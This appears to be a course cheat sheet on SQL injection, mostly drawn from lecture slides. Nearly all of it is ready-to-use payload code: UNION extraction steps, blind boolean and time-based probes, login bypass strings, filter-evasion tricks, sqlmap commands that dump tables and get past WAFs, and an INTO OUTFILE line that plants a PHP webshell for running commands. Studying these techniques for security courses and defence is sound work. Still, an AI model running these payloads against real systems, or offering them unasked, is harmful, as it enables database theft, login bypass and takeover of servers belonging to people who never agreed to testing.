

SQL Injection (SQLi)

Manipulating DB queries through unsanitised user input

How SQLi Works

Application builds SQL query using user input without sanitisation. Attacker injects SQL syntax that changes the query's logic — returning extra data, bypassing auth, or executing OS commands.

Access hidden data	' OR 1=1-- returns all rows from the table
Subvert app logic	admin'-- comments out password check in login
UNION attack	Append SELECT to extract data from other tables
Blind boolean	' AND 1=1-- (loads) vs ' AND 1=2-- (error) — infer data
Blind time-based	' AND SLEEP(5)-- delay = injection confirmed
Examine DB	Dump table/column names, DB version via information_schema
Code execution	Write PHP webshell to disk via INTO OUTFILE

UNION Attack — Step by Step (from Slides)

SLIDES

```
# Step 1: Find number of columns – increment until error disappears
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- <- error here means 2 columns

# Step 2: Find string-type columns (needed to print data)
' UNION SELECT 'a',NULL--
' UNION SELECT NULL,'a'--

# Step 3: Extract data
' UNION SELECT username, password FROM users--

# Step 4: Enumerate DB – table names (MySQL/MSSQL)
' UNION SELECT table_name,NULL FROM information_schema.tables--

# Step 4b: Column names in a table
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--

# Oracle equivalents
' UNION SELECT * FROM all_tables--
' UNION SELECT * FROM all_tab_columns WHERE table_name='USERS'--

# DB version
' UNION SELECT @@version-- (MySQL / MSSQL)
```

```
' UNION SELECT version()-- (PostgreSQL / MySQL)
```

Blind SQLi (from Slides)

BOOLEAN-BASED — OBSERVE PAGE DIFFERENCE

SLIDES

```
# From slides – course portal example:
CS101' OR 1=1-- => 'Welcome to course!' (TRUE – row exists)
CS101' AND 1=2-- => 'Error: No course found' (FALSE – forced empty)

# Extract data one character at a time:
' AND SUBSTRING(username,1,1)='a'-- <- change 'a' through alphabet
```

TIME-BASED — NO VISIBLE PAGE DIFFERENCE

SLIDES

```
'; sleep 10-- (MySQL / PostgreSQL)
'; WAITFOR DELAY '0:0:5'-- (MSSQL)
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- (Oracle)
' AND IF(1=1, SLEEP(5), 0)-- (MySQL conditional)
```

Login Bypass Payloads

SLIDES

```
# In username field – comments out password check in SQL
admin'--
admin'# (MySQL)
' OR 1=1--
' OR 'x'='x
') OR ('1'='1

# How it works – original query:
SELECT * FROM users WHERE user='admin' AND pass='[pass]'
# After injection: WHERE user='admin'--' AND pass='anything'
# Everything after -- is a comment -> password check skipped
```

Code Execution via SQLi (from Slides)

SLIDES

```
# Write PHP webshell to web root – requires FILE privilege
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--

# Then visit:
http://target.com/shell.php?cmd=id
# Output: uid=33(www-data) gid=33(www-data)
```

Filter Bypass & Comment Syntax

DB	Comment syntax	Version query
MySQL	-- (space after) OR # OR /**/	' UNION SELECT @@version--
MSSQL	-- OR /**/	' UNION SELECT @@version--
PostgreSQL	-- OR /**/	' UNION SELECT version()--
Oracle	-- OR /**/	' UNION SELECT banner FROM v\$version--
SQLite	-- OR /**/	' UNION SELECT sqlite_version()--

EXTRA BYPASS TRICKS

EXTRA

```
# Space bypass (if spaces filtered):
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users # tab character

# Keyword bypass – double-write trick (if filter strips once):
SELSELECTECT -> SELECT after filter runs

# Quote bypass – encode as hex or CHAR():
WHERE username=0x61646d696e # hex for 'admin'
WHERE username=CHAR(97,100,109,105,110) # CHAR() for 'admin'
```

SQLMap Quick Reference

EXTRA

```
sqlmap -u 'http://target.com/page?id=1'
sqlmap -u 'URL' --cookie='session=abc' # authenticated
sqlmap -u 'URL' --dbs # enumerate databases
sqlmap -u 'URL' -D dbname --tables # list tables
sqlmap -u 'URL' -D dbname -T users --dump # dump table
sqlmap -u 'URL' --data='user=a&pass=b' # POST request
sqlmap -u 'URL' --tamper=space2comment # WAF bypass
sqlmap -u 'URL' --level=5 --risk=3 # aggressive scan
```